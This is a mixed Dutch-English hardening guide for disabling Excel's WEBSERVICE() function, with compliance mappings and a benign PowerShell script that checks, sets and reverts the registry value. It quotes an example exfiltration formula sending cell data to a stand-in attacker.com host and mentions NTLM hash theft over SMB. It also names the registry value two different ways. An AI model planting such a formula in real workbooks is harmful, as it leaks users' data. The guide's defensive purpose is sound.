Excel: Schakel Uit WEBSERVICE() Function

πŸ’Ό Management Samenvatting

WEBSERVICE() function blokkeren voorkomt data exfiltration via Excel formulas die HTTP requests maken naar attacker-controlled servers om cell data te stelen - kritieke defense tegen formula-based Gegevenslekage.

Aanbeveling
IMPLEMENT
Risico zonder
High
Risk Score
7/10
Implementatie
3u (tech: 1u)
Van toepassing op:
βœ“ Microsoft Excel

WEBSERVICE() is data exfiltration tool: Formula: =WEBSERVICE("https://attacker.com/?data="&A1&A2&A3) exfiltreert cell data via URL, automatische execution (formulas calculate op file open), Bypasses DLP (data leaves via formula, not copy/paste), credential harvesting (=WEBSERVICE kan naar SMB shares - NTLM hash theft). Attack scenarios: Phishing Excel β†’ WEBSERVICE formulas embedded, Insider threat β†’ formulas exfiltreren gevoelige data, Lateral movement β†’ credentials via WEBSERVICE SMB. Zonder block: Data exfiltration possible via innocent-looking formulas, No warning to user (automatische calculation), DLP blind spot.

Implementatie

Schakel uit WEBSERVICE: Registry: DisableWebServiceFormulas is 1, Effect: WEBSERVICE() returns #VALUE! error (blocked), Alternative functions work (HYPERLINK, external links require separate controls), nul business impact (legitimate gebruiken rare - API calls via Power Query instead).

Vereisten

  1. Office 2016+
  2. Intune configuration profile of GPO
  3. Audit existing workbooks (WEBServices gebruik statistieken)

Implementatie

Intune Settings Catalog: Excel\Security β†’ Schakel uit WEBSERVICE function: ingeschakeld. Alternative voor legitimate API calls: Power Query (beheerde external data connections met authentication).

Monitoring

Gebruik PowerShell-script webservice-function-disabled.ps1 (functie Invoke-Monitoring) – Controleren.

Audit workbooks voor WEBSERVICE() usage (search .xlsx files voor 'WEBSERVICE' string), investigate enige usage (data exfiltration attempt?).

Compliance en Auditing

WEBSERVICE blocking voldoet aan: BIO 13.02 (Gegevenslekage prevention - ungeautoriseerde external connections), ISO 27001 A.13.2.1 (Information transfer controls), AVG Artikel 32 (gegevensbescherming - Voorkom ungeautoriseerde disclosure).

Remediatie

Gebruik PowerShell-script webservice-function-disabled.ps1 (functie Invoke-Remediation) – Herstellen.

Compliance & Frameworks

Automation

Gebruik het onderstaande PowerShell script om deze security control te monitoren en te implementeren. Het script bevat functies voor zowel monitoring (-Monitoring) als remediation (-Remediation).

PowerShell
<# .SYNOPSIS Schakelt WEBSERVICE functies uit in Excel zonder melding .DESCRIPTION Dit script implementeert CIS control O365-EX-000008 voor het uitschakelen van WEBSERVICE functies zonder melding in Microsoft Excel. Dit voorkomt dat werkboeken externe data ophalen via WEBSERVICE functies, wat beveiligingsrisico's kan vormen. .REQUIREMENTS - PowerShell 5.1 of hoger - Lokale administrator rechten voor registry wijzigingen - Microsoft Excel geΓ―nstalleerd .PARAMETER Monitoring Controleert de huidige compliance status .PARAMETER Remediation Past de aanbevolen configuratie toe .PARAMETER Revert Herstelt de originele configuratie .PARAMETER WhatIf Toont wat er zou gebeuren zonder wijzigingen door te voeren .EXAMPLE .\webservice-function-disabled.ps1 -Monitoring Controleert of WEBSERVICE functies zijn uitgeschakeld .EXAMPLE .\webservice-function-disabled.ps1 -Remediation Schakelt WEBSERVICE functies uit zonder melding .NOTES Registry pad: HKCU:\Software\Policies\Microsoft\Office\16.0\Excel\Security Waarde: DisableWebServiceFunctions = 1 CIS Control: O365-EX-000008 DISA STIG: Microsoft Office 365 ProPlus v3r3 #> #Requires -Version 5.1 param( [switch]$Monitoring, [switch]$Remediation, [switch]$Revert, [switch]$WhatIf ) # Globale variabelen $RegistryPath = "HKCU:\Software\Policies\Microsoft\Office\16.0\Excel\Security" $ValueName = "DisableWebServiceFunctions" $ExpectedValue = 1 $ControlID = "O365-EX-000008" function Test-Compliance { try { if (-not (Test-Path $RegistryPath)) { return $false } $currentValue = Get-ItemProperty -Path $RegistryPath -Name $ValueName -ErrorAction SilentlyContinue return ($currentValue -and $currentValue.$ValueName -eq $ExpectedValue) } catch { return $false } } function Invoke-Monitoring { Write-Host "Monitoring ${ControlID}: WEBSERVICE functies uitschakelen" -ForegroundColor Green try { if (-not (Test-Path $RegistryPath)) { Write-Host "βœ— Registry pad bestaat niet: $RegistryPath" -ForegroundColor Red return $false } $currentValue = Get-ItemProperty -Path $RegistryPath -Name $ValueName -ErrorAction SilentlyContinue if ($currentValue -and $currentValue.$ValueName -eq $ExpectedValue) { Write-Host "βœ“ Control compliant: ${ValueName} = $ExpectedValue (WEBSERVICE functies uitgeschakeld zonder melding)" -ForegroundColor Green return $true } else { $actualValue = if ($currentValue) { $currentValue.$ValueName } else { "Not Set" } Write-Host "βœ— Control non-compliant: ${ValueName} = $actualValue (Expected: $ExpectedValue)" -ForegroundColor Red return $false } } catch { Write-Host "βœ— Fout bij controleren registry instelling: $($_.Exception.Message)" -ForegroundColor Red return $false } } function Invoke-Remediation { Write-Host "Remediating ${ControlID}: WEBSERVICE functies uitschakelen" -ForegroundColor Yellow try { if ($WhatIf) { Write-Host "WhatIf: Zou registry waarde instellen: ${ValueName} = $ExpectedValue" -ForegroundColor Cyan return $true } if (-not (Test-Path $RegistryPath)) { Write-Host "Registry pad aanmaken: $RegistryPath" -ForegroundColor Yellow New-Item -Path $RegistryPath -Force | Out-Null } Set-ItemProperty -Path $RegistryPath -Name $ValueName -Value $ExpectedValue -Type DWord -Force Write-Host "βœ“ Registry waarde succesvol ingesteld: ${ValueName} = $ExpectedValue" -ForegroundColor Green Start-Sleep -Seconds 1 return Invoke-Monitoring } catch { Write-Host "βœ— Fout bij configureren registry instelling: $($_.Exception.Message)" -ForegroundColor Red return $false } } function Invoke-Revert { Write-Host "Reverting ${ControlID}: WEBSERVICE functies instelling herstellen" -ForegroundColor Yellow try { if ($WhatIf) { Write-Host "WhatIf: Zou registry waarde verwijderen: ${ValueName}" -ForegroundColor Cyan return $true } if (Test-Path $RegistryPath) { Remove-ItemProperty -Path $RegistryPath -Name $ValueName -ErrorAction SilentlyContinue Write-Host "βœ“ Registry waarde verwijderd: ${ValueName}" -ForegroundColor Green } return $true } catch { Write-Host "βœ— Fout bij herstellen registry instelling: $($_.Exception.Message)" -ForegroundColor Red return $false } } # Hoofd uitvoering try { if ($Monitoring) { $result = Invoke-Monitoring exit $(if ($result) { 0 } else { 1 }) } elseif ($Remediation) { $result = Invoke-Remediation exit $(if ($result) { 0 } else { 1 }) } elseif ($Revert) { $result = Invoke-Revert exit $(if ($result) { 0 } else { 1 }) } else { Write-Host "Gebruik: .\webservice-function-disabled.ps1 [-Monitoring] [-Remediation] [-Revert] [-WhatIf]" -ForegroundColor Yellow Write-Host " -Monitoring: Controleer huidige compliance status" -ForegroundColor White Write-Host " -Remediation: Pas aanbevolen configuratie toe" -ForegroundColor White Write-Host " -Revert: Herstel originele configuratie" -ForegroundColor White Write-Host " -WhatIf: Toon wat er zou gebeuren" -ForegroundColor White Write-Host "" Write-Host "Handmatige configuratie:" -ForegroundColor Cyan Write-Host "Group Policy: User Configuration > Administrative Templates > Microsoft Excel 2016" -ForegroundColor White Write-Host "> Excel Options > Security > Trust Center > Macro Settings" -ForegroundColor White Write-Host "> WEBSERVICE Function Notification Settings: Enabled: Disable all without notification" -ForegroundColor White } } catch { Write-Host "βœ— Onverwachte fout: $($_.Exception.Message)" -ForegroundColor Red exit 1 }

Risico zonder implementatie

Risico zonder implementatie
High: HOOG: WEBSERVICE() is data exfiltration via formulas. Bypasses DLP. credentials via SMB. Low business impact (rare legitimate use).

Management Samenvatting

Schakel uit Excel WEBSERVICE() function. voorkomt formula-based data exfiltration, Diefstal van inloggegevens. gebruiken Power Query voor legitimate API calls. Implementatie: 1-3 uur.